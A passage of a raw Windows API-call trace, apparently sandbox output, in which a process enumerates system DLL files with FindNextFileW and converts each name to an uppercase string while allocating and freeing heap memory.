WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x1efc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.916] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.916] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.917] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.917] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.917] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.917] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.917] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x1efc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.918] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.918] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.918] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.918] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.918] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.919] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x1efc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.919] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.919] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.919] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.919] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.920] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.920] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.920] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 